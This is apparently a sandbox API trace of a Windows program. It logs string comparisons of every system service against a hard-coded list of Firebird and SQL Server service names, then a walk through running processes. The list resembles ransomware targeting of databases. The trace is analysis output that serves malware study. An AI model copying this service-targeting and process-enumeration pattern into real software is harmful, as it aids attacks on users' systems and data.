	[0061.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0061.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0061.026] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0061.026] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0061.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0061.026] lstrlenW (lpString="LanmanServer") returned 12
	[0061.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0061.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0061.026] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0061.026] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0061.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0061.026] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0061.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0061.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0061.026] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0061.026] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0061.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0061.026] lstrlenW (lpString="lfsvc") returned 5
	[0061.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0061.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0061.026] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0061.026] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0061.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0061.026] lstrlenW (lpString="lmhosts") returned 7
	[0061.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0061.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0061.026] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0061.026] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0061.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0061.027] lstrlenW (lpString="LSM") returned 3
	[0061.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0061.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0061.027] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0061.027] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0061.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0061.027] lstrlenW (lpString="MapsBroker") returned 10
	[0061.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0061.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0061.027] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0061.027] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0061.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0061.027] lstrlenW (lpString="MpsSvc") returned 6
	[0061.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0061.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0061.027] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0061.027] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0061.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0061.027] lstrlenW (lpString="NcbService") returned 10
	[0061.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0061.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0061.027] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0061.027] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0061.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0061.027] lstrlenW (lpString="netprofm") returned 8
	[0061.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0061.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0061.027] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0061.027] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0061.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0061.027] lstrlenW (lpString="NlaSvc") returned 6
	[0061.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0061.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0061.028] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0061.028] lstrlenW (lpString="nsi") returned 3
	[0061.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0061.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0061.028] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0061.028] lstrlenW (lpString="PcaSvc") returned 6
	[0061.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0061.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0061.028] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0061.028] lstrlenW (lpString="PlugPlay") returned 8
	[0061.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0061.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0061.028] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0061.028] lstrlenW (lpString="Power") returned 5
	[0061.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0061.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0061.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0061.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0061.028] lstrlenW (lpString="ProfSvc") returned 7
	[0061.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0061.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0061.029] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0061.029] lstrlenW (lpString="RpcEptMapper") returned 12
	[0061.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0061.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0061.029] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0061.029] lstrlenW (lpString="RpcSs") returned 5
	[0061.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0061.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0061.029] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0061.029] lstrlenW (lpString="SamSs") returned 5
	[0061.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0061.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0061.029] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0061.029] lstrlenW (lpString="Schedule") returned 8
	[0061.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0061.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0061.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0061.029] lstrlenW (lpString="SecurityHealthService") returned 21
	[0061.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0061.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0061.029] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0061.029] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0061.030] lstrlenW (lpString="SENS") returned 4
	[0061.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0061.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0061.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0061.030] lstrlenW (lpString="ShellHWDetection") returned 16
	[0061.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0061.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0061.030] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0061.030] lstrlenW (lpString="Spooler") returned 7
	[0061.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0061.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0061.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0061.030] lstrlenW (lpString="SSDPSRV") returned 7
	[0061.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0061.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0061.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0061.030] lstrlenW (lpString="StateRepository") returned 15
	[0061.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0061.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0061.030] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0061.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0061.030] lstrlenW (lpString="SysMain") returned 7
	[0061.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0061.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0061.031] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0061.031] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0061.031] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0061.031] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360
	[0061.034] Process32FirstW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0061.034] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0061.035] lstrlenW (lpString="System") returned 6
	[0061.035] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0061.036] lstrlenW (lpString="smss.exe") returned 8
	[0061.036] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0061.036] lstrlenW (lpString="csrss.exe") returned 9
	[0061.037] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0061.037] lstrlenW (lpString="wininit.exe") returned 11
	[0061.037] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0061.038] lstrlenW (lpString="csrss.exe") returned 9
	[0061.039] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0061.040] lstrlenW (lpString="winlogon.exe") returned 12
	[0061.040] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0061.040] lstrlenW (lpString="services.exe") returned 12
	[0061.040] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0061.041] lstrlenW (lpString="lsass.exe") returned 9
	[0061.041] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.042] lstrlenW (lpString="svchost.exe") returned 11
	[0061.042] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0061.042] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0061.042] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0061.043] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0061.043] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.044] lstrlenW (lpString="svchost.exe") returned 11
	[0061.044] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0061.045] lstrlenW (lpString="dwm.exe") returned 7
	[0061.045] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.045] lstrlenW (lpString="svchost.exe") returned 11
	[0061.045] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.046] lstrlenW (lpString="svchost.exe") returned 11
	[0061.046] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.047] lstrlenW (lpString="svchost.exe") returned 11
	[0061.047] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.047] lstrlenW (lpString="svchost.exe") returned 11
	[0061.047] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.048] lstrlenW (lpString="svchost.exe") returned 11
	[0061.048] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.049] lstrlenW (lpString="svchost.exe") returned 11
	[0061.049] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.049] lstrlenW (lpString="svchost.exe") returned 11
	[0061.049] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.050] lstrlenW (lpString="svchost.exe") returned 11
	[0061.050] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.051] lstrlenW (lpString="svchost.exe") returned 11
	[0061.051] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0061.051] lstrlenW (lpString="spoolsv.exe") returned 11
	[0061.052] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.052] lstrlenW (lpString="svchost.exe") returned 11
	[0061.052] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.053] lstrlenW (lpString="svchost.exe") returned 11
	[0061.053] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0061.058] lstrlenW (lpString="audiodg.exe") returned 11
	[0061.058] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0061.058] lstrlenW (lpString="sihost.exe") returned 10
	[0061.058] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.059] lstrlenW (lpString="svchost.exe") returned 11
	[0061.059] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0061.060] lstrlenW (lpString="taskhostw.exe") returned 13
	[0061.060] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0061.060] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0061.061] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0061.061] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0061.061] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0061.062] lstrlenW (lpString="explorer.exe") returned 12
	[0061.062] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0061.063] lstrlenW (lpString="Memory Compression") returned 18
	[0061.063] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0061.063] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0061.063] Process32NextW (in: hSnapshot=0x360, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0061.064] lstrlenW (lpString="SearchUI.exe") returned 12
